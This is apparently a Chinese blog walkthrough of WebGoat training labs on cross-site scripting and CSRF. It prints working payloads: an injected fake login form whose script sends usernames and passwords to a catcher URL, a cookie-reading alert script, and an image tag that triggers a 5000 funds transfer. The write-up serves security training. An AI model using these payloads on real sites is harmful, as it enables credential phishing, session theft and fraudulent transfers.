WebGoat系列实验Cross-Site Scripting (XSS)

WebGoat系列实验Cross-Site Scripting (XSS)

PhishingTitle

  1. 本次实验是在一个已知存在XSS漏洞的页面进行钓鱼攻击。通过使用XSS与HTML注入,在页面中注入身份认证html代码,添加javascript脚本收集身份认证信息,并发送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
  2. 输入以下javascript代码。(之前这个位置提交的javascript代码没有显示出来,原来是因为源代码被过滤掉了...)
</form><script>function hack(){image=new Image;image.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&username="+document.phish.username.value+"&password="+document.phish.password.value+"";alert("PHISHING!");}</script><form name = "phish"><br><HR><H3>This feature requires account login:</H3><br>Enter Username:<br><input type="text" name="username"><br>Enter Password:<br><input type="password" name="password"><br><input type="submit" name=login value="login" onclick=hack()></form><br><HR>
  1. 在伪造的输入框中输入用户名与密码,点击login按钮,用户的登录认证信息就被发送到构造的页面中了。image

LAB: Cross Site Scripting

Stage 1:Stored XSS

  1. 作为Tom,在个人简介编辑页执行存储型XSS攻击,验证Jerry会受到攻击影响。
  2. 使用Tom登录,修改Tom的个人简介编辑页的街道一栏,在其后添加,更新个人信息。image
  3. 使用Jerry登录,选择Tom的个人信息进行查看,弹窗表明存储型XSS攻击成功。

Stage 2:Block Stored XSS using Input Validation

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stage3:Stored XSS Revisited

验证Bruce的个人简介中包含有XSS攻击,使用David用户登录,查看Bruce的个人简介,出现弹窗,表明存在XSS攻击。

Stage4:Block Stored XSS using Output Encoding

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stage5:Reflected XSS

  1. 利用查找职工页面的缺陷制作一个包含有反射型XSS的URL,验证其他使用这个链接的用户也会受到攻击影响。
  2. 使用用户Larry登录,在Search Staff搜索框中输入。

Stage6:Block Reflected XSS

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stored XSS Attacks

  1. 清除所有的输入是一个很好的选择,尤其是清除那些将被用作参数使用的输入。对于在应用程序中永久存储的内容特别重要。当用户的消息被检索时,不能出现不期望的消息内容。
  2. 在输入的内容中添加javascript代码,点击Submit按钮。image
  3. 点击生成的文章链接,会显示一个弹窗,表明页面存在存储型XSS。

Reflected XSS Attacks

  1. 在服务器端验证所有输入是一个很好的选择。未验证的用户输入可能会在HTTP响应中出现XSS。攻击者可以创建一个URL,通过让受害者点击的方式进行XSS攻击。
  2. 在digit access code框中添加
<script>alert(document.cookie);</script>

,点击Purchase按钮完成。image

Cross Site Request Forgery (CSRF)

  1. 实验需要向新闻组发送一封email。在email中包含一张图片,图片的URL指向一个恶意请求。实验中,URL应指向attack servlet,参数有Screen与menu,还有一个额外的参数transferFunds带有任意数值。收件人刚好进行身份认证,正在转移资金。
  2. 构造一封邮件,在Message后添加一张图片,根据Screen与menu值构造URL,图片的javascript代码为
<img src="attack?Screen=2078372&menu=900&transferFunds=5000"/>

image
3. 当收件人打开这封email时,由于自身身份已经认证,因此账户被转移了5000。image

CSRF Prompt By-Pass

  1. 实验需要向新闻组发送email包含以下恶意请求,首先转账,然后请求提示确认。
  2. 在email的正文中输入如下javascript代码。image

CSRF Token By-Pass

image

posted @ 2017-09-18 11:01  燕麦粥  阅读(3241)  评论(0编辑  收藏  举报